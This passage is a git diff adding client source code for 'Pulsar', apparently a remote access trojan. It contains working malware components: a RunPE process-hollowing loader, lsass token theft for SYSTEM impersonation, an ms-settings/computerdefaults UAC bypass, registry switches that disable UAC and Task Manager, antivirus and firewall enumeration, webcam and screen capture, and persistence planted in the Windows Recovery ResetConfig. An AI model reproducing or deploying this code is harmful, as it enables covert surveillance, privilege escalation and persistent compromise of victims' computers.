{i} data exceeds payload bounds, adjusting size"); + sizeOfRawData = payload.Length - pointerToRawData; + if (sizeOfRawData <= 0) + { + Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data"); + sectionOffset += 0x28; + continue; + } + } + + byte[] sectionData = new byte[sizeOfRawData]; + Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData); + + if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)newImageBase + virtualAddress), sectionData, sectionData.Length, out bytesWritten)) + { + Debug.WriteLine($"[RunPE] Failed to write section {i}"); + return false; + } + Debug.WriteLine($"[RunPE] Section {i} written successfully ({bytesWritten} bytes)"); + } + sectionOffset += 0x28; + } + + byte[] newImageBaseBytes = BitConverter.GetBytes((long)newImageBase); + if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), newImageBaseBytes, 8, out bytesWritten)) + { + Debug.WriteLine("[RunPE] Failed to update PEB"); + return false; + } + + int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28); + context.Rcx = (ulong)((long)newImageBase + entryPoint); + Debug.WriteLine($"[RunPE] Entry point: 0x{context.Rcx:X}"); + + if (!SetThreadContext(pi.ThreadHandle, ref context)) + { + Debug.WriteLine($"[RunPE] SetThreadContext failed: {Marshal.GetLastWin32Error()}"); + return false; + } + + return true; + } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/.DS_Store b/Pulsar.Client/Helper/ScreenStuff/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 + /// Exception thrown when an error occurs during desktop duplication operations. + /// + public class DesktopDuplicationException : Exception + { + public DesktopDuplicationException(string message) : base(message) + { + } + + public DesktopDuplicationException(string message, Exception innerException) : base(message, innerException) + { + } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs new file mode 100644 index 0000000..db7c234 --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/DesktopFrame.cs @@ -0,0 +1,57 @@ +using System; +using System.Drawing; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + /// + /// Provides image data, cursor data, and image metadata about the retrieved desktop frame. + /// + public class DesktopFrame + { + /// + /// Gets the bitmap representing the last retrieved desktop frame. This image spans the entire bounds of the specified monitor. + /// + public Bitmap DesktopImage { get; internal set; } + + /// + /// Gets a list of the rectangles of pixels in the desktop image that the operating system moved to another location within the same image. + /// + /// + /// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions. + /// + public MovedRegion[] MovedRegions { get; internal set; } + + /// + /// Returns the list of non-overlapping rectangles that indicate the areas of the desktop image that the operating system updated since the last retrieved frame. + /// + /// + /// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions. + /// + public Rectangle[] UpdatedRegions { get; internal set; } + + /// + /// The number of frames that the operating system accumulated in the desktop image surface since the last retrieved frame. + /// + public int AccumulatedFrames { get; internal set; } + + /// + /// Gets the location of the top-left-hand corner of the cursor. This is not necessarily the same position as the cursor's hot spot, which is the location in the cursor that interacts with other elements on the screen. + /// + public Point CursorLocation { get; internal set; } + + /// + /// Gets whether the cursor on the last retrieved desktop image was visible. + /// + public bool CursorVisible { get; internal set; } + + /// + /// Gets whether the desktop image contains protected content that was already blacked out in the desktop image. + /// + public bool ProtectedContentMaskedOut { get; internal set; } + + /// + /// Gets whether the operating system accumulated updates by coalescing updated regions. If so, the updated regions might contain unmodified pixels. + /// + public bool RectanglesCoalesced { get; internal set; } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs new file mode 100644 index 0000000..f6f3a37 --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/MovedRegion.cs @@ -0,0 +1,23 @@ +using System.Drawing; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + /// + /// Describes the movement of an image rectangle within a desktop frame. + /// + /// + /// Move regions are always non-stretched regions so the source is always the same size as the destination. + /// + public struct MovedRegion + { + /// + /// Gets the location from where the operating system copied the image region. + /// + public Point Source { get; internal set; } + + /// + /// Gets the target region to where the operating system moved the image region. + /// + public Rectangle Destination { get; internal set; } + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs new file mode 100644 index 0000000..45714a7 --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/DesktopDuplication/PointerInfo.cs @@ -0,0 +1,15 @@ +using SharpDX.DXGI; + +namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication +{ + internal class PointerInfo + { + public byte[] PtrShapeBuffer; + public OutputDuplicatePointerShapeInformation ShapeInfo; + public SharpDX.Point Position; + public bool Visible; + public int BufferSize; + public int WhoUpdatedPositionLast; + public long LastTimeStamp; + } +} diff --git a/Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs b/Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs new file mode 100644 index 0000000..f8f23bc --- /dev/null +++ b/Pulsar.Client/Helper/ScreenStuff/ScreenHelperCPU.cs @@ -0,0 +1,149 @@ +ο»Ώusing Pulsar.Client.Config; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Drawing.Imaging; +using System.Runtime.InteropServices; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper +{ + public static class ScreenHelperCPU + { + private const int SRCCOPY = 0x00CC0020; + private const int CURSOR_SHOWING = 0x00000001; + private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO)); + + [StructLayout(LayoutKind.Sequential)] + public struct POINT + { + public int X; + public int Y; + } + + [StructLayout(LayoutKind.Sequential)] + public struct CURSORINFO + { + public int cbSize; + public int flags; + public IntPtr hCursor; + public POINT ScreenPosition; + } + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool GetCursorInfo(out CURSORINFO pci); + + [DllImport("user32.dll")] + private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon); + + [DllImport("gdi32.dll")] + private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop); + + [DllImport("gdi32.dll")] + private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData); + + [DllImport("gdi32.dll")] + private static extern bool DeleteDC(IntPtr hdc); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetThreadDesktop(IntPtr hDesktop); + + public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false) + { + if (setThreadPointer) + { + SetThreadDesktop(Settings.OriginalDesktopPointer); + } + + Rectangle bounds = GetBounds(screenNumber); + Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb); + + using (Graphics g = Graphics.FromImage(screen)) + { + IntPtr destDeviceContext = g.GetHdc(); + using (var srcDeviceContext = new DeviceContext("DISPLAY")) + { + BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY); + DrawCursor(destDeviceContext, bounds); + } + g.ReleaseHdc(destDeviceContext); + } + + return screen; + } + + private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds) + { + var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize }; + if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING) + { + DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor); + } + } + + public static Rectangle GetBounds(int screenNumber) + { + var rects = DisplayManager.GetAllMonitorRects(); + if (screenNumber < 0 || screenNumber >= rects.Count) + throw new ArgumentOutOfRangeException(nameof(screenNumber)); + var r = rects[screenNumber]; + return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top); + } + + private class DeviceContext : IDisposable + { + public IntPtr Handle { get; } + + public DeviceContext(string deviceName) + { + Handle = CreateDC(deviceName, null, null, IntPtr.Zero); + } + + public void Dispose() + { + DeleteDC(Handle); + } + } + } + public class DisplayManager + { + [DllImport("user32.dll")] + public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData); + + public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData); + + [StructLayout(LayoutKind.Sequential)] + public struct Rect + { + public int left; + public int top; + public int right; + public int bottom; + } + + public static int GetDisplayCount() + { + int count = 0; + EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, + (IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) => + { + count++; + return true; + }, IntPtr.Zero); + return count; + } + + public static List GetAllMonitorRects() + { + var rects = new List(); + EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero, + (IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) => + { + rects.Add(lprcMonitor); + return true; + }, IntPtr.Zero); + return rects; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/SystemElevation.cs b/Pulsar.Client/Helper/SystemElevation.cs new file mode 100644 index 0000000..49eee25 --- /dev/null +++ b/Pulsar.Client/Helper/SystemElevation.cs @@ -0,0 +1,205 @@ +ο»Ώusing Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Security.Principal; + +namespace Pulsar.Client.Helper +{ + public class SystemElevation + { + private const uint TOKEN_ALL_ACCESS = 0x000F01FF; + private const uint TOKEN_DUPLICATE = 0x00000002; + private const uint TOKEN_QUERY = 0x00000004; + private const int SE_PRIVILEGE_ENABLED = 0x2; + + [StructLayout(LayoutKind.Sequential)] + public struct TokPriv1Luid + { + public int Count; + public long Luid; + public int Attr; + } + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] + public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool AdjustTokenPrivileges( + IntPtr tokenHandle, + bool disableAllPrivileges, + ref TokPriv1Luid newState, + int bufferLength, + IntPtr previousState, + IntPtr returnLength); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle); + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool SetThreadToken(IntPtr thread, IntPtr token); + + [DllImport("kernel32.dll")] + public static extern IntPtr GetCurrentProcess(); + + public static void Elevate(ISender client) + { + if (!IsAdministrator()) + { + Debug.WriteLine("Run the Command as an Administrator"); + client.Send(new SetStatus { Message = "Run the Command as an Administrator" }); + return; + } + + if (!EnablePrivilege("SeDebugPrivilege")) + { + Debug.WriteLine("Failed to enable SeDebugPrivilege."); + client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." }); + return; + } + + if (!DuplicateAndSetToken()) + { + Debug.WriteLine("Token duplication and impersonation failed."); + client.Send(new SetStatus { Message = "Token duplication and impersonation failed." }); + } + else + { + Debug.WriteLine("Token duplication and impersonation successful."); + client.Send(new SetStatus { Message = "Token duplication and impersonation successful." }); + } + } + + private static bool IsAdministrator() + { + WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent()); + return principal.IsInRole(WindowsBuiltInRole.Administrator); + } + + private static bool EnablePrivilege(string privilege) + { + if (!LookupPrivilegeValue(null, privilege, out long luid)) + { + return false; + } + + TokPriv1Luid tpLuid = new TokPriv1Luid + { + Count = 1, + Luid = luid, + Attr = SE_PRIVILEGE_ENABLED + }; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken)) + { + return false; + } + + try + { + return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero); + } + finally + { + CloseHandle(hToken); + } + } + + private static bool DuplicateAndSetToken() + { + Process lsass = Process.GetProcessesByName("lsass")[0]; + if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken)) + { + return false; + } + + try + { + if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle)) + { + return false; + } + + try + { + return SetThreadToken(IntPtr.Zero, duplicateTokenHandle); + } + finally + { + CloseHandle(duplicateTokenHandle); + } + } + finally + { + CloseHandle(hLsassToken); + } + } + + [DllImport("kernel32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + private static extern bool CloseHandle(IntPtr hObject); + public static void DeElevate(ISender client) + { + if (!IsAdministrator()) + { + Debug.WriteLine("Run the Command as an Administrator"); + client.Send(new SetStatus { Message = "Run the Command as an Administrator" }); + return; + } + + if (!DisablePrivilege("SeDebugPrivilege")) + { + Debug.WriteLine("Failed to disable SeDebugPrivilege."); + client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." }); + return; + } + + if (!RevertToSelf()) + { + Debug.WriteLine("Failed to revert to self."); + client.Send(new SetStatus { Message = "Failed to revert to self." }); + } + else + { + Debug.WriteLine("Reverted to self successfully."); + client.Send(new SetStatus { Message = "Reverted to self successfully." }); + } + } + + private static bool DisablePrivilege(string privilege) + { + if (!LookupPrivilegeValue(null, privilege, out long luid)) + { + return false; + } + + TokPriv1Luid tpLuid = new TokPriv1Luid + { + Count = 1, + Luid = luid, + Attr = 0 // Disable the privilege + }; + + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken)) + { + return false; + } + + try + { + return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero); + } + finally + { + CloseHandle(hToken); + } + } + + [DllImport("advapi32.dll", SetLastError = true)] + public static extern bool RevertToSelf(); + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/SystemHelper.cs b/Pulsar.Client/Helper/SystemHelper.cs new file mode 100644 index 0000000..98f27c0 --- /dev/null +++ b/Pulsar.Client/Helper/SystemHelper.cs @@ -0,0 +1,137 @@ +ο»Ώusing Microsoft.Win32; +using Pulsar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Management; + +namespace Pulsar.Client.Helper +{ + public static class SystemHelper + { + public static string GetUptime() + { + try + { + var explorers = System.Diagnostics.Process.GetProcessesByName("explorer"); + if (explorers.Length > 0) + { + // Select the oldest explorer instance (earliest StartTime) + var oldest = explorers.OrderBy(p => p.StartTime).First(); + + DateTime sessionStart = oldest.StartTime; + TimeSpan uptimeSpan = DateTime.Now - sessionStart; + + return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s"; + } + else + { + return "Explorer not running"; + } + } + catch + { + TimeSpan uptimeSpan = TimeSpan.FromMilliseconds(Environment.TickCount); + return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s"; + } + } + + public static string GetPcName() + { + return Environment.MachineName; + } + + public static string GetAntivirus() + { + try + { + string antivirusName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = "root\\SecurityCenter2"; + string query = "SELECT * FROM AntivirusProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + antivirusName += mObject["displayName"].ToString() + "; "; + } + } + antivirusName = StringHelper.RemoveLastChars(antivirusName); + + return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetFirewall() + { + try + { + string firewallName = string.Empty; + // starting with Windows Vista we must use the root\SecurityCenter2 namespace + string scope = "root\\SecurityCenter2"; + string query = "SELECT * FROM FirewallProduct"; + + using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query)) + { + foreach (ManagementObject mObject in searcher.Get()) + { + firewallName += mObject["displayName"].ToString() + "; "; + } + } + firewallName = StringHelper.RemoveLastChars(firewallName); + + return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A"; + } + catch + { + return "Unknown"; + } + } + + public static string GetDefaultBrowser() + { + try + { + const string registryKey = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice"; + using (var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registryKey)) + { + string progId = key?.GetValue("ProgId")?.ToString() ?? ""; + + if (!string.IsNullOrEmpty(progId)) + { + var map = new Dictionary(StringComparer.OrdinalIgnoreCase) + { + { "ChromeHTML", "Google Chrome" }, + { "MSEdgeHTM", "Microsoft Edge" }, + { "IE.HTTP", "Internet Explorer" }, + { "FirefoxURL", "Mozilla Firefox" }, + { "BraveHTML", "Brave" }, + { "OperaStable", "Opera" }, + { "VivaldiHTM", "Vivaldi" } + }; + + foreach (var kvp in map) + { + if (progId.StartsWith(kvp.Key, StringComparison.OrdinalIgnoreCase)) + return kvp.Value; + } + + // fallback: trim weird suffixes + return progId.Split('-')[0].Replace("URL", "").Replace("HTML", "").Trim(); + } + } + } + catch + { + // ignore and fallback + } + + return "-"; + } + } +} diff --git a/Pulsar.Client/Helper/TaskManager/TaskManager.cs b/Pulsar.Client/Helper/TaskManager/TaskManager.cs new file mode 100644 index 0000000..ff8469b --- /dev/null +++ b/Pulsar.Client/Helper/TaskManager/TaskManager.cs @@ -0,0 +1,56 @@ +ο»Ώusing Microsoft.Win32; +using System; + +namespace Pulsar.Client.Helper.TaskManager +{ + /// + /// Provides functionality to enable or disable the Windows Task Manager. + /// + public static class TaskManager + { + private const string RegistryKeyPath = @"Software\Microsoft\Windows\CurrentVersion\Policies\System"; + private const string ValueName = "DisableTaskMgr"; + + /// + /// Enables the Windows Task Manager by removing the registry restriction. + /// + public static void Enable() + { + try + { + using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(RegistryKeyPath, true)) + { + if (key != null) + { + key.DeleteValue(ValueName, false); + } + } + } + catch (Exception ex) + { + System.Diagnostics.Debug.WriteLine($"Failed to enable Task Manager: {ex.Message}"); + } + } + + /// + /// Disables the Windows Task Manager by setting the registry restriction. + /// + public static void Disable() + { + try + { + using (RegistryKey key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey(RegistryKeyPath)) + { + if (key != null) + { + key.SetValue(ValueName, 1, RegistryValueKind.DWord); + } + } + } + catch (Exception ex) + { + System.Diagnostics.Debug.WriteLine($"Failed to disable Task Manager: {ex.Message}"); + } + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Helper/UAC/Bypass.cs b/Pulsar.Client/Helper/UAC/Bypass.cs new file mode 100644 index 0000000..cd3d499 --- /dev/null +++ b/Pulsar.Client/Helper/UAC/Bypass.cs @@ -0,0 +1,58 @@ +ο»Ώusing Microsoft.Win32; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace Pulsar.Client.Helper.UAC +{ + public class Bypass + { + private static string randomBatname = Guid.NewGuid().ToString("N").Substring(0, 8); + + public static void DoUacBypass() + { + string exePath = Application.ExecutablePath; + + string batPath = System.IO.Path.Combine(System.IO.Path.GetTempPath(), randomBatname + ".bat"); + + string batContent = $@" + @echo off + timeout /t 4 /nobreak >nul + start """" ""{exePath}"" + (goto) 2>nul & del ""%~f0"" + "; + + System.IO.File.WriteAllText(batPath, batContent, Encoding.ASCII); + + string command = $"conhost --headless \"{batPath}\""; + + using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true)) + { + using (RegistryKey cmdKey = classesKey.CreateSubKey(@"ms-settings\Shell\Open\command")) + { + cmdKey.SetValue("", command, RegistryValueKind.String); + cmdKey.SetValue("DelegateExecute", "", RegistryValueKind.String); + } + } + + Process p = new Process(); + p.StartInfo.FileName = "computerdefaults.exe"; + p.Start(); + p.WaitForExit(); + + using (RegistryKey classesKey = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Classes", true)) + { + try + { + classesKey.DeleteSubKeyTree("ms-settings"); + } + catch { } + } + } + } +} diff --git a/Pulsar.Client/Helper/UAC/UACToggle.cs b/Pulsar.Client/Helper/UAC/UACToggle.cs new file mode 100644 index 0000000..83dd4e5 --- /dev/null +++ b/Pulsar.Client/Helper/UAC/UACToggle.cs @@ -0,0 +1,46 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Pulsar.Client.Helper.UAC +{ + public class UACToggle + { + public static void EnableUAC() + { + try + { + Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true); + if (uacKey != null) + { + uacKey.SetValue("EnableLUA", 1, Microsoft.Win32.RegistryValueKind.DWord); + uacKey.Close(); + } + } + catch (Exception ex) + { + Debug.WriteLine("Error enabling UAC: " + ex.Message); + } + } + + public static void DisableUAC() + { + try + { + Microsoft.Win32.RegistryKey uacKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true); + if (uacKey != null) + { + uacKey.SetValue("EnableLUA", 0, Microsoft.Win32.RegistryValueKind.DWord); + uacKey.Close(); + } + } + catch (Exception ex) + { + Debug.WriteLine("Error disabling UAC: " + ex.Message); + } + } + } +} diff --git a/Pulsar.Client/Helper/WebcamHelper.cs b/Pulsar.Client/Helper/WebcamHelper.cs new file mode 100644 index 0000000..3209ed3 --- /dev/null +++ b/Pulsar.Client/Helper/WebcamHelper.cs @@ -0,0 +1,205 @@ +ο»Ώusing AForge.Video; +using AForge.Video.DirectShow; +using System; +using System.Diagnostics; +using System.Drawing; +using System.Threading; + +namespace Pulsar.Client.Helper +{ + public class WebcamHelper + { + private readonly object _lock = new object(); + private Bitmap _currentFrame; + private bool _isRunning = false; + private VideoCaptureDevice _videoDevice; + private int _width; + private int _height; + private DateTime _lastFrameTime = DateTime.MinValue; + private readonly TimeSpan _frameInterval = TimeSpan.FromMilliseconds(33); // ~30fps + + public void StartWebcam(int webcamIndex) + { + try + { + if (_isRunning) return; + + FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + if (captureDevices.Count == 0) + { + Debug.WriteLine("No webcam detected."); + return; + } + + if (webcamIndex < 0 || webcamIndex >= captureDevices.Count) + { + Debug.WriteLine("Invalid selection."); + return; + } + + _videoDevice = new VideoCaptureDevice(captureDevices[webcamIndex].MonikerString); + + var videoCapabilities = _videoDevice.VideoCapabilities; + if (videoCapabilities != null && videoCapabilities.Length > 0) + { + bool foundMatchingResolution = false; + + foreach (var capability in videoCapabilities) + { + if (capability.AverageFrameRate >= 25 && capability.AverageFrameRate <= 35) + { + _videoDevice.VideoResolution = capability; + foundMatchingResolution = true; + Debug.WriteLine($"Selected video mode: {capability.FrameSize.Width}x{capability.FrameSize.Height} @ {capability.AverageFrameRate}fps"); + break; + } + } + + if (!foundMatchingResolution && videoCapabilities.Length > 0) + { + _videoDevice.VideoResolution = videoCapabilities[0]; + Debug.WriteLine($"Selected default video mode: {videoCapabilities[0].FrameSize.Width}x{videoCapabilities[0].FrameSize.Height} @ {videoCapabilities[0].AverageFrameRate}fps"); + } + } + + _videoDevice.NewFrame += new NewFrameEventHandler(FinalFrame_NewFrame); + _videoDevice.VideoSourceError += VideoDevice_VideoSourceError; + _videoDevice.Start(); + _isRunning = true; + } + catch (Exception ex) + { + Debug.WriteLine($"Error starting webcam: {ex.Message}"); + } + } + + public static string[] GetWebcams() + { + try + { + FilterInfoCollection captureDevices = new FilterInfoCollection(FilterCategory.VideoInputDevice); + string[] webcams = new string[captureDevices.Count]; + for (int i = 0; i < captureDevices.Count; i++) + { + webcams[i] = captureDevices[i].Name; + } + return webcams; + } + catch (Exception ex) + { + Debug.WriteLine($"Error getting webcams: {ex.Message}"); + return new string[0]; + } + } + + public void StopWebcam() + { + if (!_isRunning) return; + + try + { + _videoDevice.SignalToStop(); + _videoDevice.WaitForStop(); + } + catch (Exception ex) + { + Debug.WriteLine($"Error stopping webcam: {ex.Message}"); + } + finally + { + if (_videoDevice != null) + { + _videoDevice.NewFrame -= FinalFrame_NewFrame; + _videoDevice.VideoSourceError -= VideoDevice_VideoSourceError; + _videoDevice = null; + } + _isRunning = false; + } + } + + public Bitmap GetLatestFrame() + { + DateTime now = DateTime.UtcNow; + + lock (_lock) + { + try + { + if (_currentFrame == null) + return null; + + if ((now - _lastFrameTime) >= _frameInterval) + { + _lastFrameTime = now; + return _currentFrame?.Clone() as Bitmap; + } + + return null; + } + catch (Exception ex) + { + Debug.WriteLine($"Error getting latest frame: {ex.Message}"); + return null; + } + } + } + + public Bounds GetBounds() + { + lock (_lock) + { + try + { + return new Bounds { Width = _width, Height = _height }; + } + catch (Exception ex) + { + Debug.WriteLine($"Error getting bounds: {ex.Message}"); + return new Bounds { Width = 0, Height = 0 }; + } + } + } + + private void FinalFrame_NewFrame(object sender, NewFrameEventArgs eventArgs) + { + lock (_lock) + { + try + { + _currentFrame?.Dispose(); + Bitmap frame = (Bitmap)eventArgs.Frame.Clone(); + + frame.RotateFlip(RotateFlipType.RotateNoneFlipX); + + _currentFrame = frame; + _width = _currentFrame.Width; + _height = _currentFrame.Height; + } + catch (Exception ex) + { + Debug.WriteLine($"Error processing new frame: {ex.Message}"); + } + } + } + + private void VideoDevice_VideoSourceError(object sender, VideoSourceErrorEventArgs eventArgs) + { + var desc = eventArgs.Description ?? string.Empty; + if (desc.IndexOf("0x80004002", StringComparison.OrdinalIgnoreCase) >= 0 || + desc.IndexOf("Interface not supported", StringComparison.OrdinalIgnoreCase) >= 0) + { + Debug.WriteLine("Webcam does not support required video control interface; ignoring."); + } + else + { + Debug.WriteLine($"Video source error: {desc}"); + } + } + } + + public struct Bounds + { + public int Width { get; set; } + public int Height { get; set; } + } +} diff --git a/Pulsar.Client/Helper/WinRE/WinRE.cs b/Pulsar.Client/Helper/WinRE/WinRE.cs new file mode 100644 index 0000000..e100105 --- /dev/null +++ b/Pulsar.Client/Helper/WinRE/WinRE.cs @@ -0,0 +1,236 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Xml.Linq; + +namespace Pulsar.Client.Helper.WinRE +{ + public class WinREPersistence + { + private static readonly Random random = new Random(); + private static readonly string SystemDrive = Path.GetPathRoot(Environment.SystemDirectory); + private static readonly string OEMPath = Path.Combine(SystemDrive, "Recovery", "OEM"); + private static readonly string OEMDataBackupPath = Path.Combine(OEMPath, "XRSBackupData"); + private static readonly string ResetConfigPath = Path.Combine(OEMPath, "ResetConfig.xml"); + + private static string GenerateRandomString(int length) + { + return new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", length).Select(s => s[random.Next(s.Length)]).ToArray()); + } + + public static bool CreateEnvironment() + { + if (!Directory.Exists(OEMPath)) + { + try + { + Directory.CreateDirectory(OEMPath); + } + catch (Exception ex) + { + Debug.WriteLine(ex.Message); + return false; + } + } + if (Directory.Exists(OEMDataBackupPath)) + return false; + Directory.CreateDirectory(OEMDataBackupPath); + return true; + } + + public static void InstallFile(byte[] fileBytes, string extension) + { + if (CreateEnvironment()) + Debug.WriteLine("Created OEM Environment"); + else + Debug.WriteLine("OEM Environment already exists, continuing installation"); + List stringList = new List(); + string path2 = GenerateRandomString(20) + extension; + stringList.Add(path2); + try + { + File.WriteAllBytes(Path.Combine(OEMPath, path2), fileBytes); + } + catch + { + Debug.WriteLine("Error writing stub file"); + return; + } + Debug.WriteLine("Successfully wrote stub file: " + path2); + string payload = CreatePayload("cmd.exe /c start %TARGETOSDRIVE%\\Recovery\\OEM\\" + path2, false); + string basicResetFileName = GenerateRandomString(20) + ".bat"; + string factoryResetFileName = GenerateRandomString(20) + ".bat"; + if (BackupCurrentConfig(basicResetFileName, factoryResetFileName, stringList.ToArray())) + Debug.WriteLine("Successfully backed up current config"); + else + Debug.WriteLine("Error backing up current config"); + CreateOrUpdateResetConfig(basicResetFileName, factoryResetFileName, payload); + Debug.WriteLine("Successfully Installed!"); + } + + private static string CreatePayload(string command, bool UseEscaped = true) + { + string randomString = GenerateRandomString(20); + string str = !UseEscaped ? command : command.Replace("%", "%%").Replace("^", "^^").Replace("&", "^&").Replace("|", "^|").Replace("<", "^<").Replace(">", "^>").Replace("\"", "\"\""); + return "\r\n@echo off\r\nfor /F \"tokens=1,2,3 delims= 